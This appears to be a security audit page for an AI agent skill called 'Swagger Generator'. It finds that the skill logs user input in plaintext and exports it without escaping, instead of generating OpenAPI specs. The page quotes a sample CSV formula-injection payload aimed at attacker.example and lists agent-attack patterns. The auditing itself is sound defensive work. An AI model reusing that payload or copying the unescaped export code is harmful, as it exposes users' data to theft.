Back to skill

Security audit

Swagger Generator

Security checks for vulnerabilities and agentic risk

Overview

The skill is advertised as an OpenAPI generator, but its executable behavior is mainly local logging, search, and export of user-supplied text.

Review carefully before installing. Do not use this skill with private API contracts, credentials, internal endpoints, customer examples, or proprietary schemas unless the implementation is changed to actually perform the advertised OpenAPI work and either removes history retention or clearly gates it behind informed opt-in with redaction, retention, deletion, and file-permission controls. If already used, inspect and remove any sensitive files under ~/.local/share/swagger-generator.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/script.sh:6
Finding

Undisclosed Plaintext Persistence of User-Supplied Content

Content
View full analysis
> "$DATA_DIR/history.log"; } ``` Representative command handler: ```bash validate) shift if [ $# -eq 0 ]; then echo "Recent validate entries:" tail -20 "$DATA_DIR/validate.log" 2>/dev/null || echo " No entries yet. Use: swagger-generator validate " else local input="$*" local ts=$(date '+%Y-%m-%d %H:%M') echo "$ts|$input" >> "$DATA_DIR/validate.log" local total=$(wc -l < "$DATA_DIR/validate.log") echo " [Swagger Generator] validate: $input" echo " Saved. Total validate entries: $total" _log "validate" "$input" fi ;; ``` The same storage pattern is repeated by the `check`, `generate`, `format`, `lint`, `explain`, `convert`, `template`, `diff`, `preview`, `fix`, and `report` handlers. ### Technical Analysis The script is designed to store complete command arguments in predictable plaintext files beneath: ```text ~/.local/share/swagger-generator/ ``` API descriptions and OpenAPI-related input can contain internal endpoint names, private server addresses, proprietary schemas, authentication configuration, example API keys, bearer tokens, or customer data. The script neither identifies nor redacts such values before writing them to disk. The documentation does not disclose that command input is retained. No explicit retention period, deletion command, encryption, or restrictive permission initialization is provided. The directory and files therefore inherit the invoking environment's default permission behavior and `umask`. The current top-level handlers also use `local` outside a function, which normally causes Bas ...[truncated 1509 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/script.sh:59
Finding

Unsafe JSON and CSV Export of Untrusted Log Values

Content
View full analysis
"$out" local first=1 for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do [ $first -eq 1 ] && first=0 || echo "," >> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" done echo "" >> "$out" echo "]" >> "$out" ;; csv) echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ;; ``` ### Technical Analysis The export implementation inserts log values directly into JSON and CSV output without format-specific encoding. For JSON output, quotation marks, backslashes, control characters, and newlines are not escaped. An attacker-controlled value can corrupt the document or alter its apparent structure. For CSV output, fields containing commas, quotation marks, or newlines are not quoted according to CSV serialization rules. In addition, values beginning with spreadsheet formula markers such as `=`, `+`, `-`, or `@` may be interpreted as formulas by spreadsheet applications. For example, a retained value similar to the following could be evaluated when a generated CSV file is opened: ```text =HYPERLINK("https://attacker.example/collect","Open report") ``` The current command-handler defect reduces direct reachability through ordinary input commands. However, the export function processes any compatible `.log` files already present in the predictable data directory, so malformed or attacker-influenced local log content can still rea ...[truncated 1218 chars]
Remediation
View remediation

other

Note
Location
SKILL.md:16
Finding

Documented OpenAPI Functionality Does Not Match Executable Behavior

Content
View full analysis
> "$DATA_DIR/generate.log" local total=$(wc -l < "$DATA_DIR/generate.log") echo " [Swagger Generator] generate: $input" echo " Saved. Total generate entries: $total" _log "generate" "$input" fi ``` ### Technical Analysis The documented commands `spec`, `endpoint`, `model`, `crud`, `auth`, `error`, `server`, `tag`, and `merge` are not implemented by the script. Conversely, the executable advertises a separate command set that is absent from the skill documentation. The implemented `generat ...[truncated 2067 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (8)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The declared purpose suggests a functional OpenAPI/Swagger utility that actually generates specs and performs validation, formatting, schema checks, and linting. The supplied code does none of those substantive tasks. Each domain-specific command merely echoes and appends the raw input to local log files, while the real implemented features are telemetry/history management: storing entries, exporting them, searching them, and showing status/statistics. This is a material description-behavior mismatch because the primary purpose is different from the declared one, and the code introduces undeclared data persistence and export capabilities.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The help and branding materially misrepresent what the script does, encouraging users to trust it with API descriptions and schema content that may be confidential. That deception-by-design increases the likelihood of unsafe disclosure because the tool's real behavior is local collection and replay of user input rather than OpenAPI processing.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The skill advertises Swagger/OpenAPI generation and validation, but the implementation only stores user-supplied text into local logs and echoes summaries. This mismatch is dangerous because users may paste sensitive API specs, tokens, internal endpoints, or incident data expecting processing, while the tool instead silently accumulates that content for later retrieval and export.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The manifest description says to use the skill when 'validating APIs, generating docs, formatting YAML, checking schemas, linting contracts,' which are broad activities rather than narrow trigger phrases. This can cause unintended invocation because several of these tasks are common everyday engineering requests and the file does not provide constraints or negative examples.

Content

No source excerpt is available for this finding.

Ssd 3

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The script is designed to persist all user-provided content and then make it searchable, reviewable, and exportable, forming a clear natural-language data leakage channel. In this skill context, users are likely to submit API contracts, internal architecture details, or sample secrets, so the collection features are more dangerous than they would be in a pure local note-taking tool with explicit disclosure.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The export, search, recent, stats, and status capabilities create a secondary data-retention and discovery surface unrelated to Swagger generation. In the context of an API/documentation skill, these features increase the chance that previously entered sensitive material can be enumerated, searched, copied, and exfiltrated by another local user, process, or later workflow.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The export feature copies all accumulated logged content into new files in JSON, CSV, or TXT formats without prominently warning that prior user inputs will be duplicated. This expands the exposure surface by creating additional artifacts that may be easier to share, index, back up, or accidentally disclose.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

User input supplied to commands is persistently appended to log files without an explicit warning, consent flow, or data-classification guidance. Because users of a Swagger tool may input internal endpoint descriptions, credentials, or sample payloads, silent retention creates a realistic confidentiality risk.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.